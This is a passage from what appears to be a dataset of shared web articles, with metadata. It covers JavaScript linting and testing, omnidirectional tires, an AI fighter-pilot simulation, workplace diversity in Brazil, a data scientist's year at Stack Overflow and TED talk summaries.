also include text describing the rules I mentioned above, but I'm keeping it simple for now. Let's look at the code. Starting at the bottom, you can see I've got some basic code to get the elements from the page (yes, folks, in this case I didn't use jQuery) and then listen for click events on the button. I get the value the user used for their proposed identifier and then pass it to my validation. The validation is nothing more than what I described above. The code isn't too messy, but as my validation rules increase and as I add other interactivity points to my page, it will get harder to work with. Let's rewrite this as a module. First, I created a new file called game.js and included it via a script tag in my index.html file. I then moved the contents of my validation logic inside a module. This isn't terribly different from before, but now it's packaged into a variable called gameModule that has one API, valid . Now let's look at app.js. Notice how much less code we have mixed in with our DOM listeners. All the functionality of validation (two functions and a list of bad words) are all now safely put away in the module making the code I have here easier to work with. Depending on your editor, you'll also get code completion for the methods of your module. Working with modules isn't necessarily rocket science, but it is cleaner and simpler and that's a real good thing! Linting If you aren't aware of the term, linting refers to checking your code for best practices and other problems. A noble cause, right? As nice as it is, I was always left with the impression that linting was something only fussy developers worried about. Obviously I want my code to be great. I also want time to play video games too. Having my code be less than some Perfect High Ideal(tm) while it still actually worked was perfectly fine by me. But then... You know those times when you rename a function and remind yourself that you're going to fix it later? You know those times when you define a function to accept two arguments and end up only ever using one? You know how sometimes you write really stupid code? I mean code that won't even come close to working. My favorite is fuction and functon . Yeah, linting actually helps with that! As I keep saying, while it is probably obvious to everyone but me, the fact that linting was more than just best practices but also syntax and basic logic checking as well was news to me. Another factor also put it over the edge from ""Will do when I have more time than I know what to do with"" to ""I will use this religiously"" was the fact that most modern editors have it built in. My current editors (Sublime, Brackets, and Visual Studio Code), all support providing real time feedback on your code. As an example, here is a report from Visual Studio Code on some code I intentionally wrote poorly. Honestly. I did it on purpose. In the figure above, you can Visual Studio Code complaining pointing out a few mistakes in my code. Visual Studio Code's linter, and most linters, have options for what you care about and what is considered an error (""must fix"") versus a warning (""should fix, stop being lazy""). If you don't want to install anything or try configuring your editor, a great way to test linting online is at JSHint.com . JSHint is probably the most popular linter and is based on another linter, JSLint (Not confusing at all, honest). JSHint was created partially in response to how strict JSLint could be. While you can use JSHint directly in editors or via the command line, one of the easiest ways to to try it out is on the site itself. While it may not be immediately obvious, the code on the left hand side is a live editor. On the right hand side is a live report based on that code. The easiest way to see this is to just introduce a simple error in the code. I began by changing the main function to main2 : Immediately, the site reported two errors from this. Now keep in mind, these aren't syntax errors. Everything may look valid in the code above, but JSHint notices the problems that you may not (Of course, this is a 5 line block of code, but imagine a larger file with the function and call separated by many lines). How about a real example? In the code below (yep, now I am using jQuery), I've written a simple bit of JavaScript to handle form validation. It's trivial stuff, but probably half the JavaScript written today is doing something like this (Oh, and creating pop up modals asking you to ""Like"" the site. I love those). You can find this code in the demo_jshint folder as app_orig.js. The code begins with two functions written to help with validation (for age and email). Then we have a document.ready block where we listen for the form submission. Values from three fields are fetched, checked if blank (or invalid), and then either an alert is fired that the form is invalid or things carry on (or in our example case, the form just sits there). Let's throw this into JSHint and see what we get: Woah, that's a lot! However, it looks like it's actually similar problems that occured multiple times. This was common for me as I began using linters. I typically wasn't making a lot of unique errors, just a lot of the same error again and again. The first one is easy enough - using triple equals for checking versus double equals. The short story on that it is stricter test for checking that the values are empty strings. Let's fix that first (demo_jshint/app_mod1.js). And here is the updated report from JSHint: Ok, we're getting there. The next block is about ""undefined variables."" That may seem odd. If you're using jQuery, you know $ exists. The issue with badForm is simpler - I forgot to var scope it. But how do we fix $ ? JSHint provides a way to configure how code is checked for issues. By adding a comment to our code, we can let JSHint know that the $ variable exists as a global and is safe to use. Let's add that and fix the missing var statement (demo_jshint/app_mod2.js): And the updated report from JSHint: Woot! Almost done. This final issue is a perfect example of where JSHint can provide useful information that isn't an error or best practice. In this case, I simply forgot that I wrote a function to handle age verification. You can see I've created validAge , but in the form checking area, I don't use it. Maybe I should kill the function - it's only one line - but it feels more proper to keep the function - just in case the validation gets more intense later on. Here is the final version of the code (demo_jshint/app.js): This version finally ""passes"" the JSHint test. To be clear, this code isn't perfect. Notice how I have a validation function called validAge and one called invalidEmail . One is positive while the other is negative. It would be better if I were consistent. Also notice how every time validation is run, jQuery is asked to fetch three items from the DOM. They really only needed to be loaded once. I should create those variables outside of the submission block and reuse them every time. As I said, JSHint isn't perfect, but the final version of the code is definitely better than the first and it didn't take long to update. You can find linters for JavaScript ( JSLint and JSHint ), HTML ( HTMLHint and the W3C Validator ) and CSS ( CSSLint ). Along with editor support, if you're really fancy, you can also automate it with tools like Grunt and Gulp. Testing I don't write tests. There. I said it. The world didn't end. To be fair, I do write tests (ok, I try to write tests) when working on client projects, but for my main job I tend to do blog posts and demos of various features. I don't write tests for these as they're just proof of concepts and not production work. That being said, I can say that even before I became an evangelist and stopped doing ""real"" work, I often used the same excuses for not linting as for not writing tests. And it turns out that many of the same things that made linting easier are also helping out on the testing side. First - many editors will actually generate tests for you. For example, in Brackets, you can use the xunit extension. It lets you right click on a JavaScript file and generate a test (in multiple popular testing framework formats). The extension will do its best to attempt to write a test based on existing code. This test will be a 'stub' and you'll need to flesh out some actual data in it, but the important thing is that it gets the grunt work out of your way. Once you begin actually fleshing out those details, the extension will automatically run your tests for you. Honestly, at this point, not writing tests begins to plain look lazy. You'll probably have heard of TDD (Test Driven Development). This is the concept of writing unit tests before any actual functionality. Essentially, the idea is that your tests help drive your development. As you write your code and see your tests begin to pass, you have some assurance that your on the right path. I think that's a noble idea, but it may be difficult to achieve for everyone. How about starting simpler? Imagine you've got a set of existing code that - as far as you know - works just fine. Then you discover a bug. Before fixing the bug, you can create a test to verify the bug, fix it, then use the test to ensure it stays fixed as you work on it in the future. As I said, this isn't the ideal path, but can be a way to gently ramp up into including testing in all stages of your development. For our sample code with a bug we'll use a little function that I wrote that tries to shorten numbers. So for example, 109203 could be simplified as 109K. An even bigger number like 2190290 could be turned into 2M. Let's look at the code and then I'll demonstrate the bug. Maybe you see the issue right away? Give up? When given 9999 as an input, it returns 10K. Now, that might be a useful shortening, but the code is supposed to treat all numbers below 10K as their original value. It is an easy enough correction, but let's use this as an opportunity to add a test. For our testing framework we'll use Jasmine . Jasmine has a great, easy to understand language for writing tests and a simple way to run them. The quickest way to get started is to download the library. Once you've done that and extracted it, you'll find a file called SpecRunner.html. This file handles loading your code, loading a test, and then running the tests and creating a pretty report. It requires the lib folder from the zip but you can begin by copying both SpecRunner and the lib to someplace on your web server. Open up SpecRunner.html and on top you'll see: Under the first comment you'll want to remove the existing line and simply add a script tag pointing to the code containing your code. If you've got the zip file for this article you can see my code in demo4 in a file called formatter.js. Next you'll want to add a script tag pointing to the spec, or test. Maybe you haven't seen Jasmine before, but take a look at the spec. It is very readable, even to the untrained eye. Basically my test is saying that when 9999 is passed to the library it should get 9999 out again. If you open the SpecRunner.html in your browser you can see it reporting the failure. The fix, is rather simple. Change that conditional using 9999 to 10000: Now when you run the tests you'll see a much happier picture: Looking at the module, you can probably think of a number of related tests that would really flesh out the suite. In general, there's nothing wrong with going overboard on your testing and trying to cover every possible use of your code possible. Consider the awesome date/time library Moment.js . It has - I kid you not - over fifty-seven thousand tests. That's thousand. You read it right. Other options for testing JavaScript code include QUnit and Mocha . As with linting you can automate testing with tasks runners like Grunt, and you can even go full stack and test the browser itself with Selenium . Browser Developer Tools The final tool I'll mention are those within the browser itself - the dev tools. You can find multiple articles, presentations, and videos on this topic so I won't say much more about it, outside of my belief that, amongst everything I've discussed today, this is probably the one thing I'd call required knowledge for web developers. It is perfectly fine to write broken code. And it is perfectly fine to not know everything. But browser dev tools at least help you find the broken bits. At that point a solution is typically one Google search away. If I can add one final piece of advice here, it is that you should not focus on only one browser's dev tools. I was playing with App Cache a few years ago (yes, I'm a glutton for punishment) and ran into issues with my code working in Chrome. Of course, I had my dev tools open, but it wasn't helping. On a whim, I opened up the code in Firefox and used their dev tools, and immediately I discovered the issue. Firefox simply reported more information about the request compared to Chrome. Running it one time was all I needed to correct the issue. (Ok, that's a lie. Firefox showed me the problem but it took a bit longer to fix.) If you find yourself stuck, just open another browser and see if the error reporting offers a different perspective. On the off chance you've never actually seen your browser tools in action, here are instructions on how to view them in all the major browsers, as well as the best link to get started for reading more. Google Chrome To open dev tools, click the hamburger menu icon on the upper right of your browser, select ""More Tools"", and then ""Developer Tools"". You can also open up dev tools using your keyboard. For example, on OSX the combination is CMD+SHIFT+C . You can find documentation for Chrome's dev tools at ""Chrome DevTools Overview"" . Mozilla Firefox To open dev tools, click ""Tools"" in the main menu, then ""Web Developer"" and ""Toggle Tools"". Note that Firefox has a cool toolbar that can be used to issue commands and make opening up dev tools even easier. This can be enabled from the same menu. You can learn more at Firefox Developer Tools . Apple Safari (AKA the browser for watching Apple keynotes) Before you can work with dev tools, you have to enable the ""Develop"" menu. Go to Safari preferences, then ""Advanced"", and click ""Show Develop menu in menu bar."" Then you can select the ""Develop"" menu and use ""Show Web Inspector"" (or the three items below it) to open dev tools. You can read more about this at ""About Safari Web Inspector"" . Internet Explorer You can open Internet Explorer's Dev Tools by clicking the gear icon in the upper right hand of the browser (or by presing F12). You can read more here, ""Using the F12 developer tools"" . Learning More Sometimes it seems as if our job as developers is never complete. While writing this article, did you know that thirteen more JavaScript frameworks were released? True story! So here is some final advice on how to learn and how to keep up - as best as possible. For learning, I focus my attention on the Mozilla Developer Network (when you google, try preprending your term with ""mdn""), CodeSchool (a commercial video training company with great content), and Khan Academy . I want to specifically call out Mozilla Developer Network (MDN) as I avoided it for years thinking it was a Netscape/Firefox only site. That was pretty dumb. Another suggestion is to just read code! Many of us have used jQuery, but have you ever actually opened up the file to take a look at how it is built? Reading other people's code can be a great way to get exposed to other techniques and methods. While it may be scary, I also strongly encourage you to share your own code. Not only will you get the benefit of having an extra pair of eyes (or many thousands of them) look at your code, you may actually help others as well. A few years back I was watching a junior programmer share some code and while he made some fairly typical ""noob"" mistakes, he also used some techniques that were outright brilliant. For keeping up on the latest news, I subscribe to the various ""weekly"" newsletters run by Cooper Press . They have an HTML weekly, a JavaScript one, a Node one, a Mobile one, and so forth. It can get overwhelming, but do what you can do. When I see that some new tool has been released that does Foo and I don't particularly need Foo at the moment, I don't even try to learn this tool. I just remember, ""Hey, there's a tool that does Foo."" so that when I need it in the future, I can dedicate the time then. Related Resources: Header image courtesy of Lemsipmatt",en
1467310900,CONTENT SHARED,2080544143997420913,-4028919343899978105,-3987163493963998467,,,,HTML,http://gizmodo.uol.com.br/pneus-andam-de-lado/,Pneus que andam de lado podem ser instalados em qualquer carro,"William Liddiard criou pneus que permitem ao Toyota Echo dele se mover em qualquer direção, girar 360 graus e se encaixar em uma vaga de estacionamento. >>> Pneus coletam calor e guardam eletricidade para dar energia ao seu carro Rodas omnidirecionais não são novidade: você pode encontrá-las em empilhadeiras que precisam manobrar em armazéns lotados, por exemplo. Mas Liddiard afirma ao Inverse que estes pneus omnidirecionais podem ser instalados em qualquer carro, e não precisam de um veículo especificamente feito para eles. O inventor canadense, que trabalha como motorista de caminhão em Londres, diz que vem trabalhando neste projeto - chamado ""Liddiard Wheels"" - há três anos. Ele não informa detalhes sobre a tecnologia por trás dos pneus, mas como lembra a Wired , outras rodas omnidirecionais funcionam com pequenos discos ao redor da borda externa, permitindo que ela deslize para os lados, bem como para a frente e para trás. No vídeo abaixo, que foi acelerado, os pneus recebem torque com intensidade de 32.500 newtons-metro, mas Liddiard diz que o carro não precisa de tudo isso. Na descrição do vídeo, ele afirma que os pneus são ""projetados para serem usados em todas as condições meteorológicas e de estrada"" - mesmo sem os sulcos que aumentam a aderência da borracha ao asfalto. Ele lembra, no entanto, que estes pneus são apenas uma prova de conceito, e está à procura de uma empresa que queira licenciar a tecnologia ou fazer parceria para lançá-la no mercado. Liddiard solicitou patente para esta invenção ""em vários países"". Por mais que estes pneus não possam ser utilizados em todo e qualquer carro, talvez eles tenham aplicações de nicho. Liddiard diz ver potencial em áreas como ""movimentação de materiais, robótica móvel, mobilidade pessoal e carros autônomos"".",pt
1467312509,CONTENT SHARED,3825866166263569974,22763587941636338,-1704524960073432371,,,,HTML,http://tecnologia.uol.com.br/noticias/bbc/2016/06/29/piloto-de-caca-criado-por-inteligencia-artificial-vence-humano-em-combate-simulado.htm,Piloto de caça criado por inteligência artificial vence humano em combate simulado,"Um sistema de pilotagem de caças criado por inteligência artificial derrotou dois jatos em uma simulação de combate. O piloto, batizado de Alpha, usou quatro jatos virtuais para defender uma área de litoral dos dois caças - e não sofreu perdas. Desenvolvido por uma equipe de pesquisadores da Universidade de Cincinnati, nos Estados Unidos, o sistema também venceu um piloto aposentado de caças da Força Aérea Americana - logo, bastante experiente. Na simulação descrita no estudo, os dois jatos que atacavam o litoral - chamada de equipe azul - tinham um sistema de armas mais poderoso que os jatos usados pelo Alpha, chamados de equipe vermelha. Mas o sistema criado por inteligência artificial conseguiu se livrar dos inimigos depois de realizar uma série de manobras evasivas. Um especialista em aviação afirmou que os resultados são promissores. 'Adversário letal' Na pesquisa, os cientistas da Universidade de Cincinnati e a companhia especializada em tecnologia Psibernetix chamam o sistema Alpha de um ""adversário letal"". Descrevendo as simulações de combate entre o sistema de inteligência artificial e o piloto aposentado Gene Lee, os pesquisadores escreveram que o americano ""não apenas não conseguiu uma morte contra (o Alpha), mas também foi derrubado pelos vermelhos todas as vezes nos combates prolongados"". O Alpha usa uma forma de inteligência artificial baseada no conceito de lógica difusa (ou ""fuzzy""), na qual um computador analisa uma série ampla de opções antes de tomar a decisão. Devido ao fato de um caça virtual produzir uma quantidade grande de dados para serem interpretados, nem sempre fica óbvio quais as manobras são mais vantajosas e, um combate ou mesmo em que momento uma arma deve ser disparada. Sistemas que usam a lógica difusa podem analisar a importância desses dados individuais antes de tomar uma decisão mais ampla. O grande feito atingido pelos pesquisadores americanos com o sistema Alpha foi a capacidade de tomar essas decisões em tempo real e com a eficiência de um computador. ""Aqui você tem um sistema de inteligência artificial que parece ser capaz de lidar com o ambiente exclusivamente aéreo, é extraordinariamente dinâmico, tem um número extraordinário de parâmetros e, na teoria, consegue enfrentar muito bem um piloto de combate qualificado, capaz e experiente"", disse Doug Barrie, analista aeroespacial militar da consultoria IISS. É como um campeão de xadrez perdendo para um computador Ética Apesar do entusiasmo, Barrie lembrou à BBC que pode não ser tão fácil ou apropriado tentar usar o Alpha em ambientes de combate na vida real. A analista afirmou que se o sistema for usado de verdade e decidir atacar um alvo não militar, por exemplo, os resultados poderão ser terríveis. ""A indignação do público seria imensa."" Barrie acrescentou, porém, que o Alpha tem potencial para se tornar uma ferramenta de simulação de combate ou para ajudar a desenvolver sistemas melhores para uso dos pilotos humanos. Obrigado pela sua inscrição",pt
1467319362,CONTENT SHARED,4861691621484862889,-5527145562136413747,4996347255822713150,,,,HTML,http://www.greatplacetowork.com.br/institucional/noticias/chega-de-desculpas.htm,Diversidade no Brasil: um longo caminho a percorrer,"Costumamos exaltar o Brasil por sua pluralidade cultural. Por aqui o convívio de pessoas de todas as tribos, cores e grupos é muito bonito na teoria, porém a realidade é bem menos agradável: o Brasil ainda é um país cheio de preconceitos - seja ele por motivos de gênero, etnia, orientação sexual, idade, deficiência ou qualquer outro que leva ao tratamento desigual de diferentes grupos.",pt
1467321759,CONTENT SHARED,-2136400115854451336,3829784524040647339,-1514380556784696901,,,,HTML,http://varianceexplained.org/r/year_data_scientist/,One year as a Data Scientist at Stack Overflow,"One day in January 2013 I found myself wasting time on the internet. This wasn't a good idea: I was as busy as anyone 2.5 years into their PhD. I had to finish a presentation on some yeast genetics research, I was months behind on a paper with an NYU collaborator and even farther behind on some leftover undergraduate research. I was also busy in my personal life- I had returned from a trip to Israel, and had just taken up Brazilian Jiu-Jitsu and jogging. But this one day I was wasting time by answering a stranger's question about the beta distribution . The question was on Cross Validated, the statistics sister site of developer Q&A site Stack Overflow. I'd been an active answerer on Stack Overflow for about a year at the time, and a less frequent answerer on Cross Validated: it was certainly my favorite way to waste time. At the time I had the somewhat cute idea to explain the beta distribution in terms of baseball statistics- an answer that would later turn into this post and this series . I did a lot in my PhD that I am proud of, and I did a lot more that was forgettable or unimportant. But in terms of the effect on my career, that answer is the work that I'm happiest about. One year at Stack Overflow Last Thursday (June 16th) marks my one-year anniversary of working at Stack Overflow as a Data Scientist. I'd finished my PhD about a month before I joined, and my move to a tech company was a pretty big change for me. As of only a few months earlier, I'd been planning to stay in academic research, particularly in the field of computational biology. I'd started applying for postdoctoral fellowships, and hadn't even considered applying to ""industry"" jobs. What changed my mind? It started in January 2015, when Jason Punyon found my (then two-year-old) post about the beta distribution: Why I love working at @StackExchange reason #14785: We get awesome answers to questions like this one: Thanks @drob - JSONP (@JasonPunyon) January 7, 2015 @drob P.S. I know we aren't as exciting as finishing your PhD but if you want an interview here at Stack you can have one :) - JSONP (@JasonPunyon) January 7, 2015 At the time I was pretty certain I was entering academia, but I didn't want to pass up the chance to check out the Stack Exchange offices and meet some of the people behind the product. It took basically one visit to the office for me to change my mind, and a few weeks and interviews later I was offered the position and signed. Some things I've been working on People know what web developers do, but what does a data scientist do? ( I'm not the only person who gets asked that ). The following aren't the only projects I'm working on, but they may give a sense of what I've been up to. Designing, developing and testing machine learning features The most prominent example of where machine learning is used in our product is Providence; our system for matching users to jobs they'll be interested in . (For example, if you visit mostly Python and Javascript questions on Stack Overflow, you'll end up getting Python web development jobs as advertisements). I work with engineers on the Data team ( Kevin Montrose , Jason Punyon , and Nick Larsen ) to design, improve and implement these machine learning algorithms. ( Here's some more about the architecture of the system, built before I joined ). For example, we've worked to get the balance right between jobs that are close to a user geographically and jobs that are well-matched in terms of technology, and ensuring that users get a variety of jobs rather than seeing the same ones over and over. A lot of this process involves designing and analyzing A/B tests, particularly about changing our targeting algorithms, ad design, and other factors to improve clickthrough rate (CTR). This process is more statistically interesting than I'd expected, in some cases letting me find new uses for methods I'd used to analyze biological experiments, and in other cases encouraging me to learn new statistical tools. In fact, much of my series on applying Bayesian methods to baseball batting statistics is actually a thinly-veiled version of methods I've used to analyze CTR across ad campaigns. Learning cool things I'm not an academic scientist any more, but that doesn't mean I'm not interested in drawing conclusions from data. Stack Overflow has a birds-eye view of the software development ecosystem- millions of questions, users, and daily visitors. What can we learn from all that data? For starters, by looking at how tags are used together, we can find natural clusters of technologies: This lets us automatically categorize frameworks and packages into the higher-level languages and clusters they belong to, all without manual annotation. But it really shows us only how tags co-appear on specific programming questions, not how they're used in the same projects (for example, C# and SQL Server may not always appear on the same questions, but they're often used as part of the same technology stack). For that, I might look at another source of data, Stack Overflow Careers profiles, and see which technologies tend to be used by the same developers: I like how this divides the tags not just by strict categories, but by ""technology ecosystems."" This kind of understanding isn't limited to programming technologies. The Stack Exchange network contains a vast range of Q&A sites. By looking at which communities tend to have the same active members, we can similarly create a network of how our sites are interrelated: (Not everything I do is networks, just some of the examples that are more interesting at a glance). Why spend time on analyses like these? Sometimes they can contribute directly to product features. For example, understanding clusters of technologies quantitatively lets us improve our model of developer types that drives the Providence targeting. Other insights can be valuable from a business perspective. I've worked a bit with the sales, marketing, and community teams to interpret their data and help make decisions. But I'm also just intrinsically pretty interested in learning about and visualizing this kind of information; it's one of the things that makes this a fun job. One plan for my second year here is to share more of these analyses publicly. In a previous post I looked at which technologies were the most polarizing , and I'm looking forward to sharing more posts like that soon. Developing data science architecture (internal R packages) I like using R to learn interesting things about our data, but my longer term goal is to make it easy for any of our engineers to do so. When I joined I was the first person at the company who used R, but it's been spreading in the year since. R is just a really great way to engage with data directly and to answer interesting questions. (It makes me sad when brilliant software engineers open up Excel to make a line graph!) Towards this goal, I've been focusing on building reliable tools and frameworks that people can apply to a variety of problems, rather than ""one-off"" analysis scripts. (There's an awesome post by Jeff Magnusson at StitchFix about some of these general challenges). My approach has been building internal R packages , similar to AirBnb's strategy (though our data team is quite a bit younger and smaller than theirs). These internal packages can query databases and parsing our internal APIs, including making various security and infrastructure issues invisible to the user. This also has involved building R tutorials and writing ""onboarding"" materials. As an example, I've made public a tutorial that introduces the internal sqlstackr package for querying our databases. This doubles as a general dplyr/tidyr/ggplot2 introduction, which I find more useful than linking a developer to a general dplyr tutorial (since this is data my colleagues are sure to be interested in!) My hope is that as the data team grows and as more engineers learn R, this ecosystem of packages and guides can grow into a true internal data science platform. Academics and industry There's a popular definition of data scientists: Data Scientist (n.): Person who is better at statistics than any software engineer and better at software engineering than any statistician. - (((Josh Wills))) (@josh_wills) May 3, 2012 This version is framed positively, but it's worth noting that the inverse is also true: in grad school I knew less about statistics than others in my lab , and in my new job I know less about software engineering than my colleagues. So how has the transition been? Knowing more about statistics There are plenty of dramatic articles about how ""programmers need to learn statistics"" . It's true that I have more statistical experience and training than my coworkers (also the first with a PhD in any topic). But it hasn't felt like an obstacle in my work. For one thing, I've noticed this gap is closing in a lot of important areas. The developers I've met who interpret A/B testing are already aware of the dangers of p-hacking and multiple hypothesis testing, as well as the importance of effect sizes and confidence intervals. The data team in particular had already worked to spread good practices. The gaps that took more getting used to were more along the lines of ""using Poisson rather than linear regression"" or ""know when to use a log scale"". More importantly, I've found that developers have been more than willing to listen and learn when I brought up statistical issues, and I feel like my working relationships so far have built up mutual trust. This is one case in which my experience really hasn't reflected the ""Programmers Need To Learn Statistics"" article, which painted developers as overconfident zealots. It's possible we're an unusually functional engineering department in this regard (I've heard worse stories from other companies!), but it's also possible that the attitude of the software development industry has changed in the last six years, with the importance of statistics being more widely recognized. One aspect of graduate school I miss is learning about statistics from others. I was surrounded by people much more knowledgeable than myself, and in lab meetings and seminars I got exposed to a lot of useful statistical theory and methods. I also could count on others to catch if I made a mistake. Most of my current statistical education has to be self-driven, and I need to be very cautious about my work: if I use an inappropriate statistical assumption in a report, it's unlikely anyone else will point it out. Knowing less about software engineering I've long cared about programming practices, and I've been using GitHub and contributing to open source Python and R projects for years, but working for a tech company did represent something of a shift. I'm a lifetime Mac user, and in the last few years have worked entirely in R. Stack Overflow is built on Microsoft technologies, particularly C#, ASP.NET, and SQL Server, and before I joined nobody at the company had ever used R. I'm not attached to a particular side of a language war , but I was certainly nervous about what the change would mean for me. This also turned out not to be much of an obstacle, especially I've found that I can contribute a lot to the company entirely from within R on a Mac. I owe a lot to the developers of RSQLServer and the jTDS driver ; thanks to them I can easily query our databases from RStudio. I have a Parallels window with Visual Studio open at all times, but I find most days I don't even need to use it. I do push code to production sometimes (usually related to ad targeting experiments), but it hasn't been a source of friction. There's many areas of software engineering that I know much less about than my colleagues, including front-end web design and site reliability engineering, but like in any company I end up pretty insulated from those concerns. Other changes Leaving biology research . This was probably the change I was most nervous about. For eight years (including most of my undergraduate degree), my research had been focused on biology. It took spending a few months working on other problems to realize that, honestly, I had never been that passionate about biological questions. @daattali @JennyBryan @noamross @hspter Me: I had the weirdest, longest dream I cared about RNA Wife: That wasn't a dream it was a PhD - David Robinson (@drob) April 16, 2016 Biology presents a lot of interesting computational and statistical problems, and there's a lot of exciting work going on in bioinformatics. But when I finished a biological analysis, I'd end up with results (say, a hundred genes that changed expression in response to a stimulus) that I didn't have the knowledge or interest to interpret myself. (Even after years of working with the yeast genome as a whole, I can recognize only a handful of genes by name). In contrast, I've been a longtime user of Stack Overflow, and I have a general interest in the state of the software developer ecosystem, so I see a result like the above networks, I can tell whether it makes sense immediately. It feels different to work on data that I'm actually interested in. Writing : This is an advantage I'd underestimated. I did a lot of writing in my degree, mostly for journal articles and my dissertation, and the truth is that writing that kind of formal language can feel pretty stilted . In the last year most of my writing has been for internal reports, for documentation, or for blog posts, where I get to write informally and conversationally (try comparing the language of my dissertation to any of the posts on this blog). I've had some leftover research I'm trying to get published, and for this reason it's very hard to get back into the mindset of writing for a journal article. The people I work with I have a weird sense of humor, and many of my tweets involve a fictional ""Dev"" that serves as a comedic foil, either to mock engineering culture or to mock my own inexperience in it. Me: You can't just add two p-values together. Dev: The hell I can't: newPval = pval1 + pval2; Me: But- Dev: Is all statistics this easy - David Robinson (@drob) March 29, 2016 Me [smugly]: So you see, when you use the right correction, the p-value is .023, not .02 Dev: Are you the guy who broke the build yesterday - David Robinson (@drob) April 11, 2016 In case it's not obvious, every one of these tweets is a blatant lie. First, not one of these exchanges happened. But more importantly, they're not remotely representative of developers I've worked with. The smart, competent, caring people at this company are one of my favorite parts of working here. There are many worth listing (certainly all the members of the Data and Ad Server teams), but I'm going to name just a few as examples. Jason Punyon is the developer who originally discovered my post on the beta distribution. Jason's an excellent engineer, and after six years here he's built up a tremendous amount of useful product knowledge. One aspect that really impresses me is the way he combines caring about the data with caring about our users. A few months ago I ran an experiment that showed there was a substantial benefit to displaying a salary range on job ads (more about that in future posts), and shared the results within the company. I was happy just to share some of the conclusions I'd learned. But Jason took the results and turned them into action, starting a push for all employers (including ourselves) to provide salary information on listings. He did that because he takes data seriously, as something that guides his choices and that should guide the decisions of the company. He also cares about developers, as users of our product and as people, and thinks they deserve to know salary information up front. I'm proud to work with him. There are a lot of people outside the engineering department I'm impressed with, and I'm especially glad to work with the Community Team . For instance, Taryn Pratt (aka bluefeet ) joined the team a few months before I started. I contributed to the Stack Overflow community before I worked here, but nothing compared to Taryn's contributions. She'd been an active answerer and moderator for years, including answering >3500 questions and casting >22,000 helpful flags (!!). While Taryn's not a developer here, she's got excellent technical experience and skills (true of most Community Managers). And she commits these skills (especially SQL) to helping the Stack Overflow community. In that context she recently started learning R, so she could apply statistical, data-driven methods to analyze and understand patterns in Q&A activity. With the help of her and other people on the team I'm really excited to see what data science can contribute to the community. My advice to graduate students: create public artifacts Some time after I was hired, I learned a bit more of the story behind Jason's tweet, and that the internal conversation about reaching out to me had started on a whim. I feel really lucky to have the job I have now, and seeing that made me feel even luckier. The circumstances of my hiring were probably too much of a freak accident to extract any advice from. But if I were to try to give advice to people still in graduate school, here's what I'd come up with: public work is not a waste of time. When I was in graduate school I cared most about getting papers published; in my understanding that was the mark of a successful degree, and the only thing that would matter for my career. I ended up publishing roughly the median number for a PhD in my field (you can find them here ). I'm glad I did so, but honestly it would be hard to point to a way my life would be different if I had published fewer or even none of them. But I do know for sure my life would be different if I hadn't posted about the beta distribution, and even more different if I hadn't started answering on Stack Overflow at all. Journal articles are one way of creating public work, but far from the only one: they're slow to review, and they need to be ""perfect"" before they're submitted. I think there's a dangerous attitude that they're the only way to make work public, and that therefore a lot of good work in academia languishes for years or disappears entirely because it's not quite a paper (certainly none of my blog posts would qualify for submission as a journal article). So I'd say that if you have something interesting but it's not quite a paper, write it as a blog post, or a Stack Overflow answer, or an open source project on GitHub. Just get something out there! Like I said at the start, I'm really glad I answered that question about the beta distribution. It gave me the chance to work on a product that's done so much for my programming knowledge and productivity. I get to work with the people who build it, who to this day consistently impress me. And one year in, it's been the best job I could have asked for. Well, almost the best. *Sigh* Back to work I guess pic.twitter.com/rjHmPk3X0V - David Robinson (@drob) April 7, 2016 David Robinson Data Scientist at Stack Overflow, works in R and Python. Email Twitter Github Stack Overflow Subscribe Recommended Blogs",en
1467323050,CONTENT SHARED,-2577148567706202814,6960073744377754728,5701690029556432098,,,,VIDEO,http://www.ted.com/talks/julia_galef_why_you_think_you_re_right_even_if_you_re_wrong,Julia Galef: Why you think you're right -- even if you're wrong,"You have JavaScript disabled Perspective is everything, especially when it comes to examining your beliefs. Are you a soldier, prone to defending your viewpoint at all costs - or a scout, spurred by curiosity? Julia Galef examines the motivations behind these two mindsets and how they shape the way we interpret information, interweaved with a compelling history lesson from 19th-century France. When your steadfast opinions are tested, Galef asks: ""What do you most yearn for? Do you yearn to defend your own beliefs or do you yearn to see the world as clearly as you possibly can?"" This talk was presented to a local audience at TEDxPSU, an independent event. TED editors featured it among our selections on the home page. Enthusiastically agree? Respectfully beg to differ? Have your say here.",en
1467324358,CONTENT SHARED,-4037032837327175755,6960073744377754728,5701690029556432098,,,,VIDEO,http://www.ted.com/talks/blaise_aguera_y_arcas_how_computers_are_learning_to_be_creative,Blaise Agüera y Arcas: How computers are learning to be creative,"You have JavaScript disabled We're on the edge of a new frontier in art and creativity - and it's not human. Blaise Agüera y Arcas, principal scientist at Google, works with deep neural networks for machine perception and distributed learning. In this captivating demo, he shows how neural nets trained to recognize images can be run in reverse, to generate them. The results: spectacular, hallucinatory collages (and poems!) that defy categorization. ""Perception and creativity are very intimately connected,"" Agüera y Arcas says. ""Any creature, any being that is able to do perceptual acts is also able to create."" This talk was presented at an official TED conference, and was featured by our editors on the home page. Enthusiastically agree? Respectfully beg to differ? Have your say here.",en
1467340692,CONTENT SHARED,7851022564818849560,6644119361202586331,-2763188495283035571,,,,HTML,https://www.linkedin.com/pulse/workplace-diversity-brazil-theres-still-long-way-go-ruy-shiozawa,Workplace diversity in Brazil: there's still a long way to go,"Portuguese: Here, at Great Place to Work Brazil, we're always encouraging companies to promote diversity in the workplace. A great example of that was our latest GPTW Women Event , which took place on March 8th. Although we were able to identify important advances related to diversity then, there's still a lot of work to do as well . We are used to commend Brazil for its diverse cultural background. We like to believe that people from all tribes, colors and groups can live together around here. That's all very nice in theory but, as usual, the reality is uglier: Yes, Brazil is a big cultural cauldron, but unfortunately it's one still boiling with prejudice - gender, ethnicity, sexual orientation, age, disability... they all suffer from some sort of bias or stigma. And those are amplified, especially in the workplace . To keep it shorter, we'll talk now about the first three groups and compare theory and practice. Let's start with gender inequality . Equal job opportunities for men and women are one of the many fronts in this battle. Looking at GPTW's Best Workplaces in Brazil, we can say we're really close to equality - in a superficial level. However... We already talked about this in our blog a couple of times. The higher we go in the companies' hierarchies, less women we are able to find. And the more excuses we hear: women aren't as willing to relocate because of family - wouldn't you too if society had historically told you that you're the one supposed to take care of the household? They could be on leave for months due to pregnancy (a decision that tends to involve a man too). And even absurdities like women not being able to convey credibility to investors who are, in their large majority, (guess who?) men. If we are tired of hearing this nonsense, imagine how women feel about it. And we still haven't even touched salary inequality. Even among the companies recognized in our GPTW Women Event, a woman is paid, on average, 35% less than a man with the same position . And there are excuses for this too, but frankly they don't even deserve to be written here. Enough to say it's another byproduct of a biased society that 